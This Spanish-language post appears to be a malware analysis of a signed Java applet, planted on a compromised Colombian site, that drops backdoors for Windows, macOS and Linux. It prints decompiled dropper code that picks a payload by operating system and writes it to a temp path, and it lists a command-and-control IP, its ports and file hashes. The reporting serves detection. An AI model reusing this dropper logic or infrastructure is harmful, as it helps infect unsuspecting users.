Hace poco fue encontrado una Web colombiana comprometida donde el Autor del Malware utiliza ingeniería social mostrando un “Applet” (Xploit) firmado en su visita a la página.

El Malware abre una Backdoor para permitir el Control Remoto de un PC.

Así se muestra si usas Windows:

 

 

 

 

 

 

 

 

 

Así se ve usando MacOS:

 

 

 

 

 

 

 

 

 

 

El archivo JAR (Java Archive) averigua de la siguiente manera que Sistema Operativo usas para posteriormente descargar los archivos apropiados a tu plataforma.

 

public void init()
{
  try
  {
    Random localRandom = new Random();
    String str1 = LongtoString(Math.abs(localRandom.nextLong()), 36);
    String str2 = System.getProperty("java.io.tmpdir") + File.separator;
    String str3 = System.getProperty("java.io.tmpdir") + File.separator;

    String str4 = System.getProperty("os.name").toLowerCase();

    String str5 = System.getProperty("os.arch");
    String str6 = "";
    String str7 = "";
    String str8 = "";
    String str9 = "";
    String str10 = "";
    int i = -1;

    if (str4.indexOf("Win") >= 0)
    {
      str6 = getParameter("WINDOWS");
      str7 = getParameter("STUFF");
      str8 = getParameter("64");
      str9 = getParameter("86");
      str10 = getParameter("ILIKEHUGS");
      i = 0;
      str2 = str2 + str1 + ".exe";
      }
      else if (str4.indexOf("mac") >= 0)
      {
        str6 =getParameter("OSX");
        i = 1;

        if (str2.startsWith("/var/folders/")) str2 = "/tmp/";
        str2 = str2 + str1 + ".bin";
      }
      else if ((str4.indexOf("nix") >= 0) || (str4.indexOf("nux") >= 0))
      {
        str6 = getParameter("LINUX");
        i = 2;
        str2 = str2 + str1 + ".bin";
      }

 

Los siguientes codigos detectan Windows, MacOS y Linux respectivamente:

if (str4.indexOf("Win") >= 0)   <-- Windows

 

 else if (str4.indexOf("mac") >= 0)  <--Macintosh

 

 else if ((str4.indexOf("nix") >= 0) || (str4.indexOf("nux") >= 0))  <--Linux

 

El Malware cuentas con 3 archivos (Para los 3 diferentes S.O.) los cuales se comportan de la misma manera y se conectan a la IP 186.87.69.249 y puertos 8080, 8081 y 8082 para obtener el código correspondiente a ejecutar:

Trojan-Downloader: Java / GetShell.A (SHA1: 4a52bb43ff4ae19816e1b97453835da3565387b7) 

Backdoor: OSX / GetShell.A (SHA1: b05b11bc8520e73a9d62a3dc1d5854d3b4a52cef) 

Backdoor: Linux / GetShell.A (SHA1: 359a996b841bc02d339279d29112fe980637bf88)

Backdoor: W32/GetShell.A (SHA1: 26fcc7d3106ab231ba0ed2cba34b7611dcf5fc0a)